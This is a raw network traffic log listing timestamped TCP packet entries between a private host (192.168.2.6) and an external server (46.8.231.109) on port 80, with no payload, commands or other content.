Oct 7, 2024 18:00:29.819391966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819411993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819689035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819737911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819847107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819856882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819868088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819880962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819894075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819894075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819905043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819907904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819916010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819942951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819962025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820122957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820132971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820147991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820159912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820169926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820173025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820195913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820223093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820519924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820529938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820540905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820552111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820564032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820565939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820584059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820589066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820601940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820611000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820611954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820627928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820655107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820658922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820683002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820696115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820703030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820713997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820722103 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820736885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820740938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820750952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820760012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820761919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820771933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820774078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820791006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820791960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820805073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820810080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820816040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820837975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820839882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820852041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820858002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820863962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.820883989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820893049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.820911884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.821324110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.821335077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.821352959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.821365118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.821376085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.821443081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.865319967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.865334988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.865339994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.865407944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.865428925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.865438938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.865473032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.865497112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898288012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898318052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898330927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898438931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898449898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898453951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898456097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898462057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898473024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898499012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898536921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898540020 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898547888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898556948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898561954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898571014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898581028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898585081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898622036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898812056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898827076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898849964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898859978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.898860931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898893118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.898984909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899012089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899024010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899029970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899041891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899049997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899058104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899061918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899072886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899081945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899090052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899106979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899136066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899257898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899269104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899338007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899363041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899374962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899389982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899413109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899435997 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899597883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899609089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899620056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899651051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899661064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899744034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899754047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899766922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899792910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899815083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.899952888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899960995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899966002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.899975061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900005102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900024891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900036097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900046110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900054932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900062084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900068045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900080919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900110960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900372982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900383949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900393009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900398016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900403023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900412083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900424957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900454998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900459051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900468111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900477886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.900499105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.900531054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.901915073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.901926994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.901936054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.901990891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902014017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902024031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902033091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902040005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902048111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902053118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902085066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902112961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902288914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902299881 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902313948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902321100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902331114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902337074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902354956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902384043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902553082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902563095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902571917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902580976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902590990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902597904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902600050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902626991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902637005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902746916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902756929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902766943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902770996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902812004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902834892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902883053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902925014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.902987957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.902998924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903007984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903032064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903036118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903042078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903052092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903053999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903086901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903147936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903188944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903242111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903253078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903263092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903271914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903285027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903306007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903314114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903328896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.903347015 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903371096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.903986931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904076099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904182911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904192924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904201984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904211998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904221058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904231071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904232979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904262066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904272079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904277086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904285908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904289961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904292107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904301882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904309034 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904313087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904320955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904330969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904330969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904341936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904346943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904351950 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904376030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904378891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904391050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904393911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904414892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904418945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904437065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904453993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.904956102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904967070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.904972076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.905014038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.935602903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.940536022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128428936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128443956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128454924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128467083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128479004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128489017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128500938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128513098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128524065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128537893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128550053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128556967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128607035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128623009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128634930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128647089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128659010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128663063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128670931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128681898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128695011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128712893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128719091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128726006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128737926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128748894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128751993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128760099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128765106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128772020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128782988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128793001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128798008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128804922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128817081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128828049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128839016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128849983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128849983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128849983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128858089 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128860950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128870964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128880024 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128885031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128895998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128909111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128910065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128920078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128931999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128938913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128945112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128956079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128966093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128972054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128983974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.128983974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.128995895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129005909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129015923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129018068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129028082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129036903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129040003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129056931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129057884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129069090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129075050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129081011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129091978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129092932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129102945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129116058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129121065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129126072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129136086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129143953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129149914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129153967 CEST	80	49718	46.8.231.109	192.168.2.6
